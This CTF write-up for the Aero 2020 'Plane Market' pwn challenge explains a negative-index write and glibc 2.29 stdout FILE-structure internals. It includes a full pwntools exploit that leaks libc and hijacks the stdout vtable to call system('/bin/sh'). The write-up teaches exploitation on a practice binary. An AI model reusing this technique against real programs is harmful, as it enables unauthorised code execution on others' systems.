[Pwn] Aero 2020 - Plane Market

Plane Market

Description:
416pts

Solvers ???

plane_market c8052c64cf194d22ca42f0ef4fa6ffc8
libc.so.6 5f4f99671c3a200f7789dbb5307b04bb
ld-linux-x86-64.so.2 63d339810fe3d20a86e3ff2237e46d89

nc ctf.pragyan.org 17000

TLDR

  • Use a negative index to change _IO_2_1_STDOUT_ and execute IO_OVERFLOW.
  • Next puts will leak a libc address.
  • Repeat 1st step but now change flags field to “/bin/sh\x00” and the vtable to IO_helper_jumps.
  • Change IO_helper_jumps IO_OVERFLOW pointer to system.
  • Next puts/printf will execute IO_OVEFLOW (fp, EOF) which is now system(fp=/bin/sh).

Challenge

I feel like I ended up using an unintended solution, this binary had a lot more options but I ended up only using the change_plane_name function. In the end my solution is based in exploiting the IO_FILE_STRUCTURE, by abusing a negative index that allow us to modify STDOUT.

Preparing the binary to LD_PRELOAD

To preload this binary we need to use patchelf to use the ld given by the challenge:

1
2
$ cp plane_market plane_marketbkup
$ patchelf --set-interpreter ld-linux-x86-64.so.2 ./plane_marketbkup

Now preloading in the terminal:

1
2
3
4
5
6
7
8
9
10
11
LD_PRELOAD=./libc.so.6 ./plane_marketbkup
{?} Enter name: lol
-------- Plane market --------
1. Sell plane
2. Delete plane
3. View sales list
4. View plane
5. Change plane name
6. View profile
7. Exit
> 7

Preloading with pwntools:

1
r=process(filename, env={"LD_PRELOAD":"./libc.so.6"}) if not args.REMOTE else remote(host, port)

Binary analysis

1
2
3
4
5
6
7
8
9
10
$ file plane_market
plane_market: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=3a51921137c51149f99313e174755aeb4d8670fc, for GNU/Linux 3.2.0, not stripped

$ checksec plane_market
[*] '/ctf/aero2020ctf/pwn/PlaneMarket/plane_market'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

Static analysis

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
__int64 change_plane_name()
{
__int64 result; // rax
int v1; // [rsp+Ch] [rbp-4h]

printf("{?} Enter plane id: ");
v1 = read_int();
if ( v1 <= 15 )
{
if ( v1 == last_plane_id )
{
printf("{?} Enter new plane name: ");
result = read_buf(*((void **)&plane_list + 6 * v1), *((_QWORD *)&unk_404100 + 6 * v1));
}
else
{
result = qword_404108[6 * v1];
if ( !result )
{
printf("{?} Enter new plane name: ");
read_buf(*((void **)&plane_list + 6 * v1), *((_QWORD *)&unk_404100 + 6 * v1));
result = (unsigned int)v1;
last_plane_id = v1;
}
}
}
else
{
puts("{-} Error id!");
result = 0LL;
}
return result;
}

The vulnerability is here, there isn’t a check for negative indexes.

Exploit

By editing the -2 index things will be aligned with the stdout and stderr pointers in the BSS.

In the end the size filed of “read“ will be part of the stderr pointer and the pointer of stdout will be the buf to be edited:

The first edit is to make printf/puts to leak a libc address the way we can do this is by changing the STDOUT file structure to meet this conditions:

1
2
3
4
5
IO_2_1_stdout->file->_flags = 0xfbad1800 
IO_2_1_stdout->file->_IO_read_ptr = 0x0
IO_2_1_stdout->file->_IO_read_end = 0x0
IO_2_1_stdout->file->_IO_read_base = 0x0
IO_2_1_stdout->file->_IO_write_base; //modify last byte with 0xa or 0x0

To get the libc source code of this version we can get the source from glibc git and change to the correct branch:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
$ strings libc.so.6 | grep 'glibc'
glibc 2.29
Fatal error: glibc detected an invalid stdio handle
Fatal glibc error: array index %zu not less than array length %zu
Fatal glibc error: invalid allocation buffer of size %zu

$ git clone git://sourceware.org/git/glibc.git
Cloning into 'glibc'...
remote: Enumerating objects: 580861, done.
remote: Counting objects: 100% (580861/580861), done.
remote: Compressing objects: 100% (77106/77106), done.
remote: Total 580861 (delta 492799), reused 580285 (delta 492341)
Receiving objects: 100% (580861/580861), 175.11 MiB | 1.63 MiB/s, done.
Resolving deltas: 100% (492799/492799), done.
Updating files: 100% (17361/17361), done.

$ cd glibc

$ git checkout release/2.29/master
Updating files: 100% (12744/12744), done.
Branch 'release/2.29/master' set up to track remote branch 'release/2.29/master' from 'origin'.
Switched to a new branch 'release/2.29/master'

And why ? “puts” internally calls _IO_new_file_xsputn which eventually calls IO_OVERFLOW.
Examining IO_OVERFLOW which its function is denoted by _IO_new_file_overflow and located at glibc/libio/fileops.c:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
int
_IO_new_file_overflow (FILE *f, int ch)
{
if (f->_flags & _IO_NO_WRITES) /* SET ERROR */
{
f->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return EOF;
}
/* If currently reading or no buffer allocated. */
if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_IO_write_base == NULL)
{
... truncated ...
}
if (ch == EOF)
return _IO_do_write (f, f->_IO_write_base, // We want this
f->_IO_write_ptr - f->_IO_write_base);

Eventually _IO_do_write will be called in this function. stdout->_flags & _IO_NO_WRITES is set to zero to avoid running some unnecessary code, we do the same for stdout->_flags & _IO_CURRENTLY_PUTTING.

_IO_new_file_overflow calls _IO_do_write with arguments as stdout, stdout->_IO_write_base and size of the buffer which is calculated via f->_IO_write_ptr - f->_IO_write_base.

From changelogs we know that _IO_do_write is defined as a macro for _IO_new_do_write:

1
versioned_symbol (libc, _IO_new_do_write, _IO_do_write, GLIBC_2_1);

_IO_new_do_write will call new_do_write with the same parameters (glibc/libio/fileops.c):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
int
_IO_new_do_write (FILE *fp, const char *data, size_t to_do)
{
return (to_do == 0
|| (size_t) new_do_write (fp, data, to_do) == to_do) ? 0 : EOF;
}
libc_hidden_ver (_IO_new_do_write, _IO_do_write)

static size_t
new_do_write (FILE *fp, const char *data, size_t to_do)
{
size_t count;
if (fp->_flags & _IO_IS_APPENDING)
/* On a system without a proper O_APPEND implementation,
you would need to sys_seek(0, SEEK_END) here, but is
not needed nor desirable for Unix- or Posix-like systems.
Instead, just indicate that offset (before and after) is
unpredictable. */
fp->_offset = _IO_pos_BAD;
else if (fp->_IO_read_end != fp->_IO_write_base)
{
off64_t new_pos
= _IO_SYSSEEK (fp, fp->_IO_write_base - fp->_IO_read_end, 1);
if (new_pos == _IO_pos_BAD)
return 0;
fp->_offset = new_pos;
}
count = _IO_SYSWRITE (fp, data, to_do); // our aim
... truncated ...
return count;
}

The intention is to skip the else if block, to achieve this we need to make this true fp->_flags & _IO_IS_APPENDING, so we can set the right flags like this

1
2
3
4
_flags = 0xfbad0000  // Magic number
_flags & = ~_IO_NO_WRITES // _flags = 0xfbad0000
_flags | = _IO_CURRENTLY_PUTTING // _flags = 0xfbad0800
_flags | = _IO_IS_APPENDING // _flags = 0xfbad1800

All that we have to do is to set stdout->_flags to the value we calculated and partial overwrite stdout->_IO_write_base to make it point somewhere to get a leak.

Having libc we just need to find a way to get a shell, we can use IO_FILE structure again, but this time instead of entering IO_OVERFLOW we want to actually change its pointer and how we can do this? Each IO_FILE has a vtable that contains multiple saved pointers to functions like IO_OVERFLOW:

Let’s see the contents of IO_file_jumps vtable:

But IO_file_jumps is to far from the stdout, to actually change that pointer, it would require us to change a lot of things in memory, instead we can change the vtable pointer to IO_helper_jumps.

And yes vtables are writeable again in libc-2.29 for some reason:

Here is the call of IO_OVERFLOW at _IO_new_file_xsputn:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
size_t
_IO_new_file_xsputn (FILE *f, const void *data, size_t n)
{
const char *s = (const char *) data;
size_t to_do = n;
int must_flush = 0;
size_t count = 0;
... truncated ...
if (to_do + must_flush > 0)
{
size_t block_size, do_write;
/* Next flush the (full) buffer. */
if (_IO_OVERFLOW (f, EOF) == EOF) // We want to get control of this
/* If nothing else has to be written we must not signal the
caller that everything has been written. */
return to_do == 0 ? EOF : n - to_do;
... truncated ...
return n - to_do;
}

The python line to edit the -2 index aka stdout:

1
2
3
4
5
change_plane_name(-2, p64(0xfbad1800)+3*p64(0))
LEAK = u64(r.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
LIBC = LEAK-0x1bc570
log.info('LEAK 0x%x'% LEAK)
log.info('LIBC 0x%x'% LIBC)

If we leak with success we start building stdout overflow:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
_IO_2_1_stdout_ = '/bin/sh\x00'# flags
_IO_2_1_stdout_ += 3*p64(0) # _IO_read_ptr,_IO_read_end,_IO_read_base
_IO_2_1_stdout_ += p64((LIBC+0x1e57e3) & 0xffffffffff00) # _IO_write_base
_IO_2_1_stdout_ += p64(LIBC+0x1e57e3) # _IO_write_ptr
_IO_2_1_stdout_ += p64(LIBC+0x1e57e3) # _IO_write_end
_IO_2_1_stdout_ += p64(LIBC+0x1e57e3) # _IO_buf_base
_IO_2_1_stdout_ += p64(LIBC+0x1e57e3+1) # _IO_buf_end
_IO_2_1_stdout_ += p64(0)*4
_IO_2_1_stdout_ += p64(LIBC+libc.symbols['_IO_2_1_stdin_']) # _chain
_IO_2_1_stdout_ += p32(0x1) # _fileno
_IO_2_1_stdout_ += p32(0x0) # _flags2
_IO_2_1_stdout_ += p64(-0x1, signed=True) #_old_offset
_IO_2_1_stdout_ += p16(0x0) # _cur_column
_IO_2_1_stdout_ += p8(0x0) # _vtable_offset
_IO_2_1_stdout_ += p8(0x0) # _shortbuf
_IO_2_1_stdout_ += p32(0x0) # _shortbuf
_IO_2_1_stdout_ += p64(LIBC+libc.symbols['_IO_2_1_stdout_']+0x1e20) # _LOCK
_IO_2_1_stdout_ += p64(-0x1, signed=True) # _offset
_IO_2_1_stdout_ += p64(0x0) # _codecvt
_IO_2_1_stdout_ += p64(LIBC+libc.symbols['_IO_2_1_stdout_']-0xea0) # _wide_data
_IO_2_1_stdout_ += p64(0x0) # _freeres_list
_IO_2_1_stdout_ += p64(0x0) # _freeres_buf
_IO_2_1_stdout_ += p64(0x0) # __pad5
_IO_2_1_stdout_ += p32(-0x1, signed=True) # _mode
_IO_2_1_stdout_ += p32(0x0) # _unused2
_IO_2_1_stdout_ += p64(0x0) # _unused2
_IO_2_1_stdout_ += p64(0x0) # _unused2
_IO_2_1_stdout_ += p64(LIBC+libc.symbols['_IO_2_1_stdout_']+0x200) # IO_helper_jumps
STDERR = p64(LIBC+libc.symbols['_IO_2_1_stderr_']) # stderr
STDOUT = p64(LIBC+libc.symbols['_IO_2_1_stdout_']) # stdout
STDIN = p64(LIBC+libc.symbols['_IO_2_1_stdin_']) # stdin
INPUT = _IO_2_1_stdout_+STDERR+STDIN+STDOUT+p64(0)*2*17+p64(0)+p64(LIBC+0x80650)+p64(LIBC+libc.symbols['system'])
change_plane_name(-2, INPUT, False)

After this we can get a shell pops the full exploit:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
from pwn import *
host, port = "tasks.aeroctf.com", "33087"
filename = "./plane_marketbkup"
#filename = "./plane_market"

elf = ELF(filename)
context.arch = 'amd64'

#if not args.REMOTE:
# libc = elf.libc
#else:
libc = ELF('./libc.so.6')

def getConn():
return process(filename, env={"LD_PRELOAD":"./libc.so.6"}) if not args.REMOTE else remote(host, port)
#return process(filename) if not args.REMOTE else remote(host, port)

def get_PIE(proc):
memory_map = open("/proc/{}/maps".format(proc.pid),"rb").readlines()
return int(memory_map[0].split("-")[0],16)

def debug(bp):
script = ""
PIE = get_PIE(r)
for x in bp:
script += "b *0x%x\n"%(x)
gdb.attach(r,gdbscript=script)


def add(psize,name,cost,yn, size=0, comm=""):
r.sendlineafter('> ', '1')
r.sendlineafter('Enter name size: ',str(psize))
r.sendlineafter('Enter plane name: ',name)
r.sendlineafter('Enter plane cost: ',str(cost))
r.sendlineafter('Do you wanna leave a comment? [Y\\N]: ',yn)
if yn == 'Y':
r.sendlineafter('Enter comment size: ', str(size))
r.sendlineafter('Comment: ',comm)

def free(pid):
r.sendlineafter('> ', '2')
r.sendlineafter('Enter plane id: ',str(pid))

def view_list():
r.sendlineafter('> ', '3')

def view_plane(pid):
r.sendlineafter('> ', '4')
r.sendlineafter('Enter plane id: ', str(pid))

def change_plane_name(pid, name, nl=True):
r.sendlineafter('> ', '5')
r.sendlineafter('Enter plane id: ', str(pid))
if nl:
r.sendlineafter('Enter new plane name: ', name)
else:
r.sendafter('Enter new plane name: ', name)

context.terminal = ['tmux', 'new-window']
#for i in range(0x1000):
def exploit():
global r
try:
r = getConn()
if not args.REMOTE and args.GDB:
debug([0x401363,0x4013ED,0x401bc7,0x40139F])#0x40145C,0x40148C,0x4011EC])
r.sendlineafter('Enter name: ','%x')
change_plane_name(-2, p64(0xfbad1800)+3*p64(0))
#context.log_level='debug'
LEAK = u64(r.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
LIBC = LEAK-0x1bc570
log.info('LEAK 0x%x'% LEAK)
log.info('LIBC 0x%x'% LIBC)
_IO_2_1_stdout_ = '/bin/sh\x00'#p64(0xfbad1800)
_IO_2_1_stdout_ += 3*p64(0)
_IO_2_1_stdout_ += p64((LIBC+0x1e57e3) & 0xffffffffff00) # _IO_write_base
_IO_2_1_stdout_ += p64(LIBC+0x1e57e3) # _IO_write_ptr
_IO_2_1_stdout_ += p64(LIBC+0x1e57e3) # _IO_write_end
_IO_2_1_stdout_ += p64(LIBC+0x1e57e3) # _IO_buf_base
_IO_2_1_stdout_ += p64(LIBC+0x1e57e3+1) # _IO_buf_end
_IO_2_1_stdout_ += p64(0)*4
_IO_2_1_stdout_ += p64(LIBC+libc.symbols['_IO_2_1_stdin_']) # _chain
_IO_2_1_stdout_ += p32(0x1) # _fileno
_IO_2_1_stdout_ += p32(0x0) # _flags2
_IO_2_1_stdout_ += p64(-0x1, signed=True) #_old_offset
_IO_2_1_stdout_ += p16(0x0) # _cur_column
_IO_2_1_stdout_ += p8(0x0) # _vtable_offset
_IO_2_1_stdout_ += p8(0x0) # _shortbuf
_IO_2_1_stdout_ += p32(0x0) # _shortbuf
_IO_2_1_stdout_ += p64(LIBC+libc.symbols['_IO_2_1_stdout_']+0x1e20) # _LOCK
_IO_2_1_stdout_ += p64(-0x1, signed=True) # _offset
_IO_2_1_stdout_ += p64(0x0) # _codecvt
_IO_2_1_stdout_ += p64(LIBC+libc.symbols['_IO_2_1_stdout_']-0xea0) # _wide_data
_IO_2_1_stdout_ += p64(0x0) # _freeres_list
_IO_2_1_stdout_ += p64(0x0) # _freeres_buf
_IO_2_1_stdout_ += p64(0x0) # __pad5
_IO_2_1_stdout_ += p32(-0x1, signed=True) # _mode
_IO_2_1_stdout_ += p32(0x0) # _unused2
_IO_2_1_stdout_ += p64(0x0) # _unused2
_IO_2_1_stdout_ += p64(0x0) # _unused2
_IO_2_1_stdout_ += p64(LIBC+libc.symbols['_IO_2_1_stdout_']+0x200) # IO_helper_jumps
STDERR = p64(LIBC+libc.symbols['_IO_2_1_stderr_']) # stderr
STDOUT = p64(LIBC+libc.symbols['_IO_2_1_stdout_']) # stdout
STDIN = p64(LIBC+libc.symbols['_IO_2_1_stdin_']) # stdin
INPUT = _IO_2_1_stdout_+STDERR+STDIN+STDOUT+p64(0)*2*17+p64(0)+p64(LIBC+0x80650)+p64(LIBC+libc.symbols['system'])
change_plane_name(-2, INPUT, False)
r.interactive()
r.close()
return True
except EOFError:
r.close()
return False

while not exploit():
pass

References